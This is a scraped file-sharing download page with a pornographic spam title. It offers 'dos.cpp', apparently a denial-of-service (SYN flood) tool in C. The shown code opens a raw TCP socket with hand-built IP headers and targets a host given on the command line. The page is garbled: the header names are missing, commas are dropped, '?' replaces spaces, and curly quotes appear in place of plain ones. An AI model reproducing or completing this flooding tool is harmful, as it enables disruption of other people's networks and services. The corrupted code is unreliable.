91av视频/亚洲h视频/操亚洲美女/外国一级黄色毛片 - 国产三级三级三级三级

  • 大小: 0M
    文件類型: .cpp
    金幣: 1
    下載: 0 次
    發布日期: 2021-05-16
  • 語言: C/C++
  • 標簽: 其他??

資源簡介

dos.cpp

資源截圖

代碼片段和文件信息

/********************?DOS.c?*****************/
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?

#define?DESTPORT?5678?
#define?LOCALPORT?8888
void?send_tcp(int?sockfdstruct?sockaddr_in?*addr);
unsigned?short?check_sum(unsigned?short?*addrint?len);

int?main(int?argcchar?**argv)
{
int?sockfd;
struct?sockaddr_in?addr;
struct?hostent?*host;
int?on=1;
if(argc!=2)
{
printf(“Usage:%s?hostname\n“argv[0]);
exit(1);
}
bzero(&addrsizeof(struct?sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1]&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr“HostName?Error:%s\n“hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct?in_addr?*)(host->h_addr_list[0]);
}

sockfd=socket(AF_INETSOCK_RAWIPPROTO_TCP);
if(sockfd<0)
{
printf(“Socket?Error:%d\n“?errno);
exit(1);
}

setsockopt(sockfdIPPROTO_IPIP_HDRINCL&onsizeof(on));
setuid(getpid());
send_tcp(sockfd&addr);
}

評論

共有 條評論